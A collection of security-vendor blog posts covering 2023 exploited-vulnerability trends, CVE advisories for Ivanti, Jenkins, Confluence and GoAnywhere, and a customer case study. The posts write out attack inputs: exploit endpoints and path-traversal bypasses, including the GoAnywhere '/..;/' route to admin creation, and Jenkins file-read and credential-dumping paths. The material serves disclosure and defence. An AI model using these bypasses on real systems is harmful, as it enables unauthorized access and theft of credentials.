Google Chromium, the engine used by the majority of browsers around the world, reports that approximately 70% of their high severity issues are memory safety issues. Microsoft reports the same percent of issues affecting it’s Windows OS are also memory safety. But, what vulnerabilities are being exploited by threat actors today? CISA maintains and publishes its Known Exploited Vulnerability (KEV) catalog of all vulnerabilities that they have insight into having been exploited by threat actors. 

We have analyzed all critical vulnerabilities from the CISA KEV catalog starting from January 2023 through January 2024, categorized the vulnerability root causes, and attempted to analyze if the current efforts in the information security industry match with the current threat vectors being abused.

Executive Overview

1. Insecure Exposed Functions Lead the CISA KEV

Nearly half of vulnerabilities are enabled by insecure exposed functions. At a strategic level we’ve seen recent pushes for security improvements by pursuing memory safe languages and software bill of materials (SBOM), but a seemingly asymmetric amount of effort or strategy around addressing this vulnerability category.

Figure 1. Vulnerabilities by Root Cause

Vulnerabilities fall into this category when:

  • It is not apparent that the developer made any effort to prevent an unauthenticated user from reaching dangerous code
  • Often, the exposed dangerous code allows authorization bypass or remote code execution via insecure usage of command execution libraries, unrestricted deserialization, or file operations.
2. Rust Won’t Save Us, But It Will Help Us

Memory safety issues were the second (tied) leading cause of vulnerabilities in the data set, coming in at 20%. Interestingly, 75% of the analyzed memory safety vulnerabilities have been exploited as 0-days by threat actors. Additionally, 25% were discovered by security researchers and retroactively discovered to have been exploited as 0-days. When vulnerabilities are exploited as 0-days they typically have a much more widespread effect on the world given that patches often lag by weeks once they are discovered.

Figure 2. Vulnerabilities due to Memory Corruption

3. Web Routing and Path Abuse Tied for Second

Nearly 20% of vulnerabilities in Figure 1 are the result of routing and path abuse in web applications. These vulnerabilities typically manifest in the “glue” between web frameworks when a developer attempts to route application traffic from one service to another.

Vulnerabilities fall into this category when:

  • The developer has made an apparent effort to prevent an unauthenticated user from reaching dangerous code. Developer mistakes include reverse proxy regex issues, framework filter issues, path normalization issues, and internal application path inspection issues.
  • Similarly, once this code is reached, developers have abandoned defense-in-depth and secure coding practices which allow abuse of insecure functions.
4. Threat Actors Love Exploiting Appliances

This isn’t a new trend, but its clear from the analysis that they are the target of choice coming in at 49%. They’re commonly found on network boundaries and exposed to the internet. They also have low defender visibility – no PSP’s installed and sparse logging.

Figure 3. Vulnerability by Software Type

For the purpose of this analysis, appliances are any product or software that is commonly deployed as a hardware appliance or as a virtual appliance.

Technical Breakdown

There are 212 vulnerabilities that have been added to the CISA KEV catalog since the start of 2023. Of that, only 41 vulnerabilities are rated critical. Below is a snapshot of those 41 vulnerabilities and the root cause leading to the vulnerability being exploitable.

CVE-2023-34362: Progress MOVEit Transfer

Category: Routing / Path Abuse

Reference: Horizon3.ai

The application exposed an endpoint, /moveitisapi/moveitisapi?action=m2, that attempted to limit functionality to just localhost, but had a header parsing bug leading to any function being reachable.

Figure 4. Header Bypass to Invoke Arbitrary Function

CVE-2023-20887: VMware Aria for Operations for Networks

Category: Routing / Path Abuse

Reference: @SinSinology

A lax rewrite rule in the appliance’s Nginx configuration allowed an attacker to reach services which were meant to be unexposed. The request /saas./resttosaasservlet will route to /resttosaasservlet.

Figure 5. nginx Routing Bypass

CVE-2023-20198: Cisco IOS XE

Category: Routing / Path Abuse

Reference: Horizon3.ai

The appliance’s routing rules for which requests required authentication did not account for double URL encoded paths.

Figure 6. Double URL Encoded Path Authentication Bypass

CVE-2023-33246: Apache RocketMQ

Category: Insecure Exposed Function

Reference: Rapid7

The application insecurely exposed an endpoint that calls Java’s getRuntime().exec() with an attacker controlled variable.

Figure 7. FilterServerUtil getRuntime().exec()

CVE-2023-22515: Atlassian Confluence

Category: Insecure Exposed Function

Reference: Rapid7

The application insecurely exposed an endpoint, /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false, that allows modification to the server’s configuration state. Setting this state to false allows an attacker to re-enter application setup and add an administrative user.

Figure 8. Exposed Configuration Endpoint

CVE-2023-47246: SysAid Server

Category: Insecure Exposed Function

Reference: Huntress

The application exposed an endpoint, /userentry?accountId=/../../../tomcat/webapps/<webshell_dir>, which wrote attacker controlled data to a filepath also influenced by the attacker, but vulnerable to path traversal in the parameter.


Figure 9. Insecure File Write

CVE-2023-1671: Sophos Web Appliance

Category: Insecure Exposed Function

Reference: VulnCheck

The application insecurely exposed an endpoint, /index.php?c=blocked&action=continue, which did not sufficiently sanitize user input which results in second-order command injection.

Figure 10. Sanitization Bypass to Command Injection 

CVE-2023-27350: PaperCut MF / NG

Category: Insecure Exposed Function

Reference: Horizon3.ai

The application insecurely exposed an endpoint, /app?service=page/SetupComplete, used for first time administrator login during the install process.


Figure 11. Exposed SetupComplete formSubmit()

CVE-2023-46747: F5 BIG-IP

Category: Request Smuggling

Reference: Praetorian

The appliance used a custom Apache library which contained a known request-smuggling vulnerability: CVE-2022-26377. By abusing this vulnerability, with specific considerations for the F5 application stack, authentication bypass was achieved.

Figure 12. Request Smuggling Payload

CVE-2023- : Apache SuperSet

Category: Default Secret

Reference: Horizon3.ai

The application sets the underly Flask SECRET_KEY to a default value. This secret key is used to create session tokens, which can be forged when the secret key is known.

Figure 13. Default SECRET_KEY

CVE-2023-38203: Adobe ColdFusion

Category: Insecure Exposed Function

Reference: Project Discovery

The application exposed an insecure function at the endpoint, /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true, which called a dangerous Java sink with attacker controlled input leading to deserialization.

Figure 14. Call to WDDXDeserialize() with Attacker Controlled Input

Conclusion and Looking Ahead

The lions share of vulnerabilities that are being exploited in the last year are trivial to exploit. While memory safe languages like Rust may help eliminate some of portion of breaches, there is much work to do to address the risk that comes with building complex software systems.

Looking at 2024 and beyond my advice would be:

  1. Vendors
    1. Develop the depth of knowledge of your engineers in the frameworks they use
    2. Harden, standardize, and audit the use of those frameworks across products
    3. Enable and expose verbose logging for your products
  2. Developers
    1. Assume all code you write is reachable from an unauthenticated context
    2. Practice defense-in-depth programming and don’t make it easy for an attacker to shell out
  3. Defenders
    1. Reduce any attack surface exposed to the internet if its not needed there
    2. Proactively enable logging, and remote logging if possible, for all products that touch the internet
  4. Researchers
    1. Look for bugs in the places frameworks come together

We’re already seeing similar trends in 2024 with the recently exploited Ivanti Connect Secure vulnerabilities back-to-back – more path abuse and SSRF to “RCE-as-a-feature” code. An interesting attack surface surrounding application re-initialization vulnerabilities has sprung up this last year and I think we’ll continue to see similar vulnerabilities discovered.

Community

This analysis is made possible by the collective information security community publishing their analysis and research to the world. The following organizations or people were referenced while performing this research:

Rapid7, Mandiant, Project Discovery, Praetorian, VulnCheck, Huntress, SonarSource, AssetNote, BishopFox, Lexfo, Palo Alto Networks, and many more.

Analysis Bias

This is an analysis based on my observations as both a software engineer and a vulnerability researcher. The analysis likely has bias and shortcoming stemming from:

  1. Only considering the vulnerabilities that have been discovered recently
    1. My assumption is that more recent vulnerabilities are better representative of this issues that affect us today
  2. Filtering Vulnerabilities Based on CVSS 3.0 >= 9 Score
    1. There are vulnerabilities in KEV that are not critically scored but can been combined with other vulnerabilities to achieve some critical effect

Raw Data

The full spreadsheet of all 41 vulnerabilities and their analysis can be found here.

RingZer0 Conference

This research was done in preparation for a talk I’ll be giving at RingZer0’s BOOTSTRAP conference on Friday, February 23.  I’ll briefly touch on this research along with vulnerability research I’ve conducted against Fortinet appliances over the last year that fall directly in line with the trends highlighted here.

 

 

 

The post Rust Won’t Save Us: An Analysis of 2023’s Known Exploited Vulnerabilities appeared first on Horizon3.ai.

CVE-2024-21893: Another Ivanti Vulnerability Exploited in the Wild. Verify with NodeZero Today!

5 February 2024 at 20:27

On 22 January, Ivanti published an advisory stating that they discovered two new, high-severity vulnerabilities (CVE-2024-21888 and CVE-2024-21893) after researching previously reported vulnerabilities affecting Ivanti Connect Secure, Ivanti Policy Secure and ZTA gateways. Ivanti provides enterprise solutions, including patch management and IT security solutions to over 40,000 customers worldwide.

While there is no evidence of any customers being impacted by CVE-2024-21888, Ivanti has acknowledged CVE-2024-21893 has impacted some customers in targeted instances. 

  • CVE-2024-21888 (CVSS Score 8.8) – A privilege of escalation vulnerability in the web component of Ivanti Connect Secure (9.x.22.x) and Ivanti Policy Secure (9.x.22.x) allows a user to elevate privileges to that of an administrator.  
  • CVE-2024-21893 (CVSS Score 8.2) – A server-side request vulnerability in the SAML component of Ivanti Connect Secure (9.x.22.x), Ivanti Policy Secure (9.x.22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication. 

In response to the new Ivanti vulnerabilities, the Cybersecurity & Infrastructure Security Agency (CISA) ordered all federal government agencies to disconnect all instances of Ivanti Connect Secure and Ivanti Policy Secure from their networks until proper mitigation steps are taken and reported to CISA.

Who is Affected?

Users who are running Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA.

How Can I Fix It?

Ivanti has released patches for Ivanti Connect Secure (versions 9.1R14.4, 9.1R17.2, 9.1R18.3, 22.4R2.2, 22.5R1.1 and 22.5R2.2) and Ivanti Policy Secure version 22.5R1.1 and ZTA version 22.6R1.3.

According to Ivanti, users can also import the “mitigation.release.20240126.5.xml file as a temporary workaround.

How Can NodeZero Help?

All NodeZero™️ users can run an autonomous pentest to determine if their systems are vulnerable to the Ivanti vulnerability. We also recommend running a follow-on pentest to verify that any remediation steps taken, such as patching, are effective.

Example Impacts:

Example Attack Path:

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

The post CVE-2024-21893: Another Ivanti Vulnerability Exploited in the Wild. Verify with NodeZero Today! appeared first on Horizon3.ai.

CVE-2024-23897: Check Critical Jenkins Arbitrary File Leak Vulnerability Now!

30 January 2024 at 15:01

On 24 January 2024, the Jenkins team issued a security advisory disclosing a critical vulnerability that affects the Jenkins CI/CD tool. Jenkins is a Java-based open-source automation server run by over 1 million users that helps developers build, test and deploy applications, enabling continuous integration and continuous delivery.

The critical vulnerability is tracked as CVE-2024-23897 and affects Jenkins 2.441 and earlier. LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces the ‘@’ character followed by a file path in an argument with the file’s contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system that can lead to RCE.

According to security researchers from ShadowServer, there are approximately 45,000 unpatched Jenkins instances, most of which are in China (12,000) and the United States (11,830).

Two Proof of Concepts (PoCs) exploits have been released to the public and could be leveraged by attackers to compromise unpatched Jenkins servers. According to the Cyber Security Agency (CSA) of Singapore, as of 30 January 2024, the vulnerability is reportedly being actively exploited.

Who Is Affected?

Anyone who is running Jenkins 2.441 and earlier is affected by this vulnerability.

How Can I Fix It?

Jenkins users are urged to upgrade to Jenkins 2.442 and LTS 2.426.3.  

How Can NodeZero Help? 

All NodeZero™️ users can run an autonomous pentest to determine if their systems are vulnerable to the Jenkins vulnerability. We also recommend running a follow-on pentest to verify that any remediation steps taken, such as patching, are effective. 

Example Top Weaknesses and Impacts:

Example Attack Path:

If you want to read more, please read Horizon3.ai’s Attack Team’s blog titled, “CVE-2024-23897: Assessing the Impact of the Jenkins Arbitrary File Leak Vulnerability.”

The post CVE-2024-23897: Check Critical Jenkins Arbitrary File Leak Vulnerability Now! appeared first on Horizon3.ai.

CVE-2024-23897: Assessing the Impact of the Jenkins Arbitrary File Leak Vulnerability

29 January 2024 at 19:14

Last Wednesday, on January 24, 2024, the Jenkins team issued a security advisory disclosing a critical vulnerability, CVE-2024-23897, affecting the Jenkins CI/CD tool. This advisory set off alarm bells among the infosec community because the potential impact is huge: Jenkins is widely deployed, with tens of thousands of public-facing installs, and the Jenkins advisory was clear that this vulnerability could lead to remote code execution. Jenkins is a common target for attackers, and, as of this writing, there are four prior Jenkins-related vulnerabilities in CISA’s catalog of Known Exploited Vulnerabilities.

Our advice for users of Jenkins is don’t panic… unless you need to. This is a textbook example of a vulnerability whose true impact can only be accurately assessed within the context of your environment. The typical Jenkins install will not be exploitable by unauthenticated attackers. However, there are a few factors that could significantly increase the potential for damage, elevating this to a truly critical vulnerability. We’ll discuss these factors in this post, as well as how the NodeZero platform can be used to provide an accurate assessment of risk.

Background

CVE-2023-23897 resides in the Jenkins CLI, an alternative way for users to interact with Jenkins without going through web interface. The CLI is enabled by default. Vulnerable Jenkins servers misinterpret command line arguments supplied by users to the CLI. Specifically, CLI arguments preprended by @ are incorrectly interpreted as files that need to be opened to read in arguments, and in some cases the lines in these files are echo’d back as part of error messages to the CLI user. A detailed technical explanation is available here from Yaniz Nizry of Sonarsource, who discovered the vulnerability.

An unauthenticated attacker with no permissions (i.e. the default Jenkins install) can leak the first couple of lines of arbitrary text files on a vulnerable Jenkins server. For instance, here’s an example of retrieving the first few lines of the C:\windows\win.ini file using the CLI help command.

An authenticated attacker can retrieve entire text files, using the connect-node CLI command:

Dangerous Configuration Options

There are two dangerous Jenkins configuration options that allow unauthenticated attackers to effectively act like authenticated attackers. The “Allow users to sign up” option allows anyone with access to the Jenkins instance to self-register an account. And the “Allow anonymous read access” option gives everyone the Overall/Read permission.

For instance here’s an example of an unauthenticated attacker reading the /etc/passwd file off a Jenkins server that has been enabled with the “Allow anonymous read access” option:

Reading Binary Files

Binary files can also be read but the Jenkins server will try to convert them into text, using the default character encoding set defined for the Jenkins server. Binary characters outside the character encoding set will be returned in mangled/unusable form back to the CLI user. According to the Jenkins advisory, if Jenkins is running on Linux, where the default character encoding set is UTF-8, an average of half the characters in binary files will end up being mangled. However, if Jenkins is running on Windows, where the default character encoding set is Windows 1252, a much smaller percentage (5/256) of the characters would be mangled on average. Therefore it may be possible for an attacker targeting a Jenkins server running on Windows to re-construct secrets contained in binary files. This is significant because the hudson.util.Secret file is a small binary file that contains an encrypted key used to encrypt other secrets.

Here’s an example of trying to read the hudson.util.Secret file on Linux:

Remote Code Execution and Credential Dumping

Given the above, how likely is it that an attacker can use this vulnerability to achieve remote code execution or dump credentials stored within Jenkins? We put together the following risk matrix:

Risk Matrix Jenkins Server Running on Linux Jenkins Server Running on Windows
Attacker has no permissions Risk: Low
  • Can only read the first few lines of arbitrary text files
  • An attacker may happen to discover a “password.txt” file containing a secret or a secret in the first few lines of a bash history file.
  • Binary files can’t be read
  • The Jenkins master.key can be retrieved but this file by itself can’t be used to do much. This is a key that encrypts other keys, and those other keys are stored in binary format.

 

 

Risk: Moderate
  • Can only read the first few lines of arbitrary text files.
  • An attacker may happen to discover a “password.txt” file containing a secret.
  • It may be possible to read/reconstruct secrets in binary files like the hudson.util.Secret file. In our testing, we found that this is not a given because files could contain newline characters and get truncated, and files may be mangled to the point that their contents can’t be guessed.
  • If it is possible to read binary files, there is a path to remote code execution in non-default configurations where the “Resource Root URL” configuration is enabled.
Attacker has Overall/Read permissions Risk: High
  • Can fully read arbitrary text files, leading to significant information disclosure
  • An attacker could retrieve SSH private keys that happen to be resident on the server. These keys could used to log in to the server or other machines in the network, leading to remote code execution. This assumes the SSH port is accessible and the private key is not protected by a password or the password can be cracked.
  • Binary files can’t be read
  • The Jenkins master.key can be retrieved but this file by itself can’t be used to do much. This is a key that encrypts other keys, and those other keys are stored in binary format.

 

Risk: Very High
  • Can fully read arbitrary text files, leading to significant information disclosure
  • An attacker can fully read binary files, albeit partially mangled. An attacker may be able to reconstruct secrets in files such as the hudson.util.Secret file.
  • If it’s possible to read secrets stored in binary files, there are multiple paths to remote code execution, such as forging a RememberMe cookie.
  • If it’s possible to read secrets stored in binary files, an attacker can dump all credentials stored in Jenkins. Cred dumping only requires three files from the Jenkins server: the master.key, the hudson.util.Secret file, and the credentials.xml file, and there are off-the-shelf tools to accomplish this.

 

How NodeZero Assesses CVE-2024-23897

One of the core functions of the NodeZero platform is exploiting vulnerabilities to help practitioners understand the true risk of these vulnerabilities and to plan remediation accordingly.

To assess this particular vulnerability, NodeZero performs the following steps:

  • Determines if the Jenkins server is vulnerable using the X-Jenkins version header present in HTTP responses.
  • Benignly exploits the vulnerability by attempting to read the /etc/passwd and C:\windows\win.ini file from the server
    • This is done using multiple Jenkins CLI commands to determine if an unauthenticated attacker has no permissions (can only partially read files) or Overall/Read permissions (can fully read files)
    • This helps determine if the Jenkins server is running on Linux or Windows
    • NodeZero also accounts for Jenkins servers running behind reverse proxies, which may or may not be exploitable.
  • Checks if user self signup is enabled.

By default, NodeZero assigns this particular vulnerability a base score of 8.1 (High). This is the score we’d expect for typical Jenkins installs that haven’t been patched for this vulnerability but are using default configuration options and are running on Linux. The proof that NodeZero captures for the vulnerability shows the partial contents of the /etc/passwd file:

If NodeZero finds that any of the following conditions are true, it elevates the score to 9.5 (Critical):

  • Unauthenticated attacker has Overall/Read permissions
  • User self signup is enabled
  • The Jenkins server is running on Windows

For instance, on this Jenkins server, self signup is enabled, and anonymous users are configured with Overall/Read permissions, enabling unauthenticated attackers to read the full content of text files:

Here’s a Jenkins server running on Windows where only partial file read is possible, but there’s a chance attackers may still be able to recover secrets stored in binary files, leading to further compromise:

Finally, it’s not always possible to exploit this vulnerability, particularly if the Jenkins server is running behind a reverse proxy. NodeZero will mark vulnerabilities for which exploits have failed with a failure reason and downgrade the severity of the vulnerability accordingly.

Remediation

Updating to at least Jenkins versions 2.442 and 2.426.3 (long-term support version) will address this vulnerability. It is also possible to mitigate by disabling the Jenkins CLI, as described here.

We recommend patching immediately if NodeZero identifies conditions that elevate this to a critical severity. Note that if you’re running Jenkins on the Internet, the dangerous configuration options of anonymous read access and self signup should never be enabled. NodeZero will surface these misconfigurations as additional weaknesses.

Even if NodeZero doesn’t identify CVE-2024-23897 as a critical vulnerability, it still merits patching. It is entirely possible for attackers to acquire credentials for valid users through attacks such as password spray, and then exploit CVE-2024-23897 as an authenticated user to read arbitrary files.

References

 

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

The post CVE-2024-23897: Assessing the Impact of the Jenkins Arbitrary File Leak Vulnerability appeared first on Horizon3.ai.

CVE-2024-0204: Check Critical Fortra GoAnywhere MFT Authentication Bypass with NodeZero™️ Now!

24 January 2024 at 20:12

On 22 January, Fortra issued an advisory stating that versions of its GoAnywhere Managed File Transfer (MFT) product suffer from an authentication bypass vulnerability. GoAnywhere MFT is, as the name suggests, an enterprise solution for encrypting and transferring data within an organization and to external customers.

This critical vulnerability (CVSS 9.8) is tracked as CVE-2024-0204 and only affects versions of GoAnywhere MFT prior to 7.4.1. Unauthorized individuals can exploit this vulnerability to create an admin user via the administration portal.

Fortra patched the GoAnywhere vulnerability on 7 December 2023 with the release of GoAnywhere MFT 7.4.1. Fortra then publicly disclosed the vulnerability on 22 January after giving customers several weeks to patch.

While Fortra is not aware of any attacks in the wild exploiting this vulnerability, we anticipate that cyber threat actors will likely attempt to take advantage of any unpatched instances of GoAnywhere MFT now that it has been publicly acknowledged.

Who Is Affected?

Anyone who runs a version of Fortra’s GoAnywhere MFT prior to 7.4.1 may be impacted by this vulnerability. According to Fortra, GoAnywhere is the #1 secure file transfer solution and serves 4,000+ customers in 100+ countries. Organizations in healthcare, finance, insurance, transportation, government, real estate, and other industries use the solution and could be at risk of exploitation if they are not running the patched version.

How Do I Fix It?

Fortra recommends upgrading to version 7.4.1 or higher. According to Fortra, this vulnerability may also be eliminated in non-container deployments by deleting the InitialAccountSetup.xhtml file in the install directory and restarting the services. For container-deployed instances, replace the file with an empty file and restart.

How Can NodeZero™️ Help?

As of today, all users running NodeZero™️ can run an autonomous pentest to determine if their systems are vulnerable, reachable, and exploitable due to this vulnerability. We also recommend running a follow-on pentest to determine that any remediation steps taken are effective.

Example Attack Path:

Example Proof:

To read more about this vulnerability and how it works, please see the Horizon3.ai Attack Team blog titled, “CVE-2024-0204: Fortra GoAnywhere MFT Authentication Bypass Deep-Dive.

The post CVE-2024-0204: Check Critical Fortra GoAnywhere MFT Authentication Bypass with NodeZero™️ Now! appeared first on Horizon3.ai.

NodeZero Updated With Attack Content for Critical Confluence RCE

23 January 2024 at 23:54

On 16 January, Atlassian released a security advisory concerning CVE-2023-22527 that affects vulnerable out-of-date versions of Confluence Data Center and Server. Both Confluence Data Center and Server are used by large enterprises and smaller to mid-size businesses respectively for team collaboration and knowledge sharing, and often house sensitive or proprietary information. This critical vulnerability (CVSS Score 10) allows an unauthenticated attacker to achieve remote code execution (RCE). This type of vulnerability is often scored as critical since RCEs can allow an attacker to control and manipulate computer systems from a distance. Although Atlassian just disclosed this vulnerability last week, security researchers are already observing exploitation attempts in the wild.

On 22 January, the non-profit cybersecurity organization The Shadowserver Foundation reportedly observed attempts at exploiting this vulnerability by cyber threat actors. Close to 40,000 exploitation attempts were observed from 600 IP addresses. The cyber threat actors used testing callback attempts and whoami execution in an attempt to look for vulnerable servers that they can compromise and abuse to gain undetected access to victims’ networks.


Who Is Affected? 

Anyone who runs Confluence Data Center and Confluence Server endpoints versions 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.5.x, and 8.5.0 through 8.5.3 may be impacted by this vulnerability.

How Do I Fix It?

Atlassian recommends that you immediately patch if you are running an out-of-date version of Confluence Data Center and/or Confluence Server. At the time of this publication, there are no known workarounds to remediate this vulnerability. 

How Can NodeZero™️ Help?

As of today, all users running NodeZero™ can run an autonomous pentest to determine if their Atlassian Confluence systems are vulnerable, reachable, and exploitable due to this vulnerability. We also recommend running a follow-on pentest to verify that any remediation steps, like patching in this instance, are effective. 

Example Impacts

Example Attack Path

The post NodeZero Updated With Attack Content for Critical Confluence RCE appeared first on Horizon3.ai.

CVE-2024-0204: Fortra GoAnywhere MFT Authentication Bypass Deep-Dive

23 January 2024 at 20:40

On January 22, 2024 Fortra posted a security advisory for their GoAnywhere MFT product. This advisory details an authentication bypass vulnerability, CVE-2024-0204, that allows an unauthenticated attacker to create an administrative user for the application. Customers were made aware of the issue by an internal security advisory post and patch made available on December 4, 2023, in which researchers malcolm0x and Islam Elrfai were originally credited with the discovery. In 2023, file transfer applications were a top target by threat actors. Our POC can be found here.

Finding The Differences

The advisory mentions that the endpoint /InitialAccountSetup.xhtml can be deleted and the service restarted to mitigate the issue. Looking through the application directories, we find that this endpoint is mapped to the  com.linoma.ga.ui.admin.users.InitialAccountSetupForm class  by inspecting the file GoAnywhere/adminroot/WEB-INF/forms-faces.xml.

Figure 1. Endpoint to Class Mapping

Using advanced tooling, we find that the GoAnywhere/lib/gamft-7.4.0.jar project defines that class.

Figure 2. Finding the InitialAccountSetupForm class

Comparing the jar’s for gamft between 7.4.0 and 7.4.1 reveals that several additional checks were added to the initializer for the InitialAccountSetupForm class.

InitialAccountSetupForm.java

InitialAccountSetupForm.java

When installing GoAnywhere, the application will first direct users to this endpoint to set up a new administrative user.

Figure 3. Add Administrative User During Install

After install, requesting the supposed vulnerable endpoint directly did not allow us access to the same page and instead redirects the user to the /Dashboard.xhtml endpoint and finally to /auth/Login.xhtml because the user is not authenticated.

Finding this behavior in the application leads us to the com.linoma.dpa.security.SecurityFilter class. This class is called on all requests and performs the doFilter() function, which performs checks for which endpoints are requested and based on the endpoints, user context, and application settings will allow the request to be routed to the correct endpoint.

Figure 4. SecurityFilter class

Inspecting the SecurityFilter class more closely, we find that there are a couple explicit areas that deal with requesting the /InitialAccountSetup.xhtml endpoint mentioned in the advisory.

  1. On line 91, if there is no admin user created already and the path is not /wizard/InitialAccountSetup.xhtml then it will properly route you to this setup page.
  2. On line 102, if there is an admin user created already and the path is /wizard/InitialAccountSetup.xhtml then redirect to /Dashboard.xhtml.

Figure 5. InitialAccountSetup logic

We considered the patches we observed and this logic, and without a way to pass the isAdminUserCreated check we were unsure exactly how this bypass could occur. Instead of using logic, and instead using our spidey senses, we considered if possibly there was a path normalization issue. Classically for Tomcat based applications, there exist path traversal issues when the request contains /..;/. Trying to request the supposed vulnerable endpoint now with a request that looks like https://192.168.1.1:8001/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml leads to the application now routing us to the setup page again!

Figure 6. Bypassing doFilter() with /..;/

Submitting this form again, while also being careful to re-write the form submission request to include the path traversal, we find that a new administrative user has been created.

Figure 7. Administrative User Added

Our proof-of-concept exploit that adds an administrative user can be found on our GitHub.

Indicators of Compromise

The easiest indicator of compromise that can be analyzed is for any new additions to the Admin Users group in the GoAnywhere administrator portal Users -> Admin Users section. If the attacker has left this user here you may be able to observe its last logon activity here to gauge an approximate date of compromise.

Additionally, logs for the database are stored at \GoAnywhere\userdata\database\goanywhere\log\*.log. These files contain transactional history of the database, for which adding users will create entries.

Figure 8. Indicator of User Additions in Database Logs

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

The post CVE-2024-0204: Fortra GoAnywhere MFT Authentication Bypass Deep-Dive appeared first on Horizon3.ai.

Securing the Move: Cyber Resilience in the Transportation and Supply Chain Industry

23 January 2024 at 17:03

How a Prevailing Transportation Company Modernized Security with NodeZero

Cyber protection is crucial for the transportation industry and the supply chain because it ensures the seamless flow of goods, prevents disruptions, and preserves the integrity of critical data essential for global commerce. Horizon3.ai recently interviewed one of our transportation and logistics customers that is deeply rooted in the fabric of American commerce. As a major player in the national supply chain arena, the customer continues to forge an excellent reputation through their innovative supply chain solutions and commitment to environmentally conscious trucking practices. Embracing innovative technology, they continue to optimize their logistics operations and ensure the seamless movement of goods while reducing their carbon footprint.

In tandem with their commitment to sustainable logistics, they also remain vigilant in safeguarding their cyber operations against evolving threats. Implementing robust cybersecurity protocols and investing in state-of-the-art technologies that help find threats, fix weaknesses, and verify fixes before they are an issue is paramount. This also allows them to fortify their digital infrastructure to protect sensitive data and ensure uninterrupted operations. By prioritizing cybersecurity measures, the customer not only secures their own network but also upholds the trust and confidence of their clients, reinforcing their position as a reliable and forward-thinking leader in the transportation and logistics landscape.

Mission:

Addressing their customers’ transportation requirements and needs by offering transportation services around the world.

  • Year Founded: Mid 1900’s
  • Number of Employees: 6,500
  • Operational Reach: Global

Too Many Alerts, Not Enough Action

Vulnerability scanners are very good at pointing to and explaining what a vulnerability is, but often lack actionable insights. This leads to an abundance of alerts while also potentially overwhelming teams and impeding effective response. Our transportation client discovered just that. Their existing vulnerability scanning and management tools were insufficient and highly time-consuming, leading to their security teams not knowing which issues were a priority and needed fixed immediately.

The tools created a lot of noise and led to alert fatigue, explained Henry, one of their Cybersecurity Analysts. The scan results mostly pointed to proof of concept (POC) vulnerabilities that “weren’t even
things that could be actively exploited,” he explains. These tools often operate by scanning the client’s setup, cross-referencing it with a list of vulnerabilities, and highlighting disparities. However, this approach lacked the essential depth and sophistication (or proof) essential to know what to fix first, requiring their team to spend time researching each vulnerability and how it relates to their environment.

Moreover, it failed to enable them to see and tackle the most critical issues foremost. Henry stresses that beyond identifying vulnerabilities, “understanding what elements in our environment
that are exploitable and having evidence of how these vulnerabilities were exploited [proof] is crucial.” This information is key in effectively prioritizing issues and important in determining which ones to address first.

“I keep going back to the actionable proof, because that has really been the value for us.”

Vulnerability scanners often offer valuable information but fall short of actionable items for security teams to prioritize and fix. They are great at listing which vulnerabilities exist within your environment, but lack the clarity, explanations, and proof required for action. “It was hard trying to communicate that to our team,” Henry adds, saying that “despite the need to take immediate action, our lack of a clear and actionable plan from our vulnerability scanner left us uncertain about how to prioritize the identified issues and which items needed addressed first.”

Happy Cybersecurity, Means Happy Vendors and Clients

Being a leader in the transportation and supply chain industry, protecting sensitive customer information, proprietary logistics and inventory details, financial transactions, route plans, shipment schedules, and operational and communication data is extremely important in maintaining the efficiency and security of the entire supply chain network. Vendors and customers want to know that their sensitive information is safe from cyber criminals and possible cyber-attacks, and that the company has their back. They want to know that the company has their best interests at heart and takes cyber threats seriously by using a proactive approach and maintaining cyber resilience.

How does a company do this? One of the most effective ways to ensure an organization’s digital infrastructure is protected and resilient against cyber threats is by implementing an autonomous pentesting solution across their entire environment. Doing this involves integrating tools or platforms that constantly conduct regular and ongoing security assessments, while also falling in line with regulatory compliance standards. Our client understands the need to shift from their current scan and patch (traditional vulnerability scanning tools) mindset and move to autonomous security solutions that Find, Fix, and Verify remediations/mitigations immediately and continuously.

Additional to building a cyber resilient digital realm, Henry states that easy and direct access to the precise proof of exploitation is instrumental and allows for immediate sharing with peers and vendors. “Having that proof comes in really handy when sharing with our vendors to say hey, this wasn’t detected [by their software] and is there anything we can do to modify our Indicators of Compromise (IOC) or our Indicators of Attack (IOA) so we can detect this activity in the future?” he adds. Having direct access to this information allows a client running a continuous pentesting solution the ability to find holes in their current security tools and enables them to contact their third-party vendors to fix gaps and harden security.

Enter NodeZero™

Our client wanted to get away from basic vulnerability scanners and adopt something that emulated attacks across their environment. After doing open-source research, Henry and his team ran across NodeZero on LinkedIn™ and started watching Horizon3.ai videos on YouTube™.

What impressed him the most was that our

“CEO was very active, and he knew the product very well, which really stood out.”

So, they booked a demo.

Henry mentions that some of our competitors were reluctant to schedule a Proof of Value (POV), and that our onboarding/POV process was transparent, which was the main driving factor for going with Horizon3.ai. Furthermore, initial real-world impressions highlighted that the NodeZero interface was sleek and easy to use, especially when compared to traditional manual pentest and vulnerability scanning tools. Running a pentest was “quick and there are multiple methods for the reporting, which is really valuable to us” he mentions.

Not just for the Vulnerabilities

Henry says that NodeZero has “everything, from the reporting to the one click verify, being able to quickly identify if we remediated this or not [vulnerabilities],” adding that, “those things really help outshine some of the other competitors.” NodeZero allows customers to see a prioritized list of vulnerabilities, proof of exploitation (if available), and highlights notable events to enable customers to fix what matters first, and to verify those fixes.

NodeZero also provided detailed attack paths that enable customers to walk through how an attack could be carried out through the Eyes of an Attacker, while also showing which vulnerabilities led to specific downstream impacts and what to fix to mitigate other issues throughout the environment. He says that everything NodeZero provides is “really, really helpful, and showing the top weaknesses in our environment with proof of exploitation so that me and my team could manually run the commands was really impressive.”
Furthermore, “the fix actions report is super helpful because I was able to attach it to a ticket and send it off” saving Henry valuable time from calling multiple people and walking them through how to do fix the issue and remediate the vulnerability. NodeZero reports not only give the customer step-by-step instructions, but also provides multiple options to fix the same problem. “Being able to mitigate this in multiple ways really cuts down on me having to do research on the back end,”
he adds.

Filling the gaps, Hardening policies

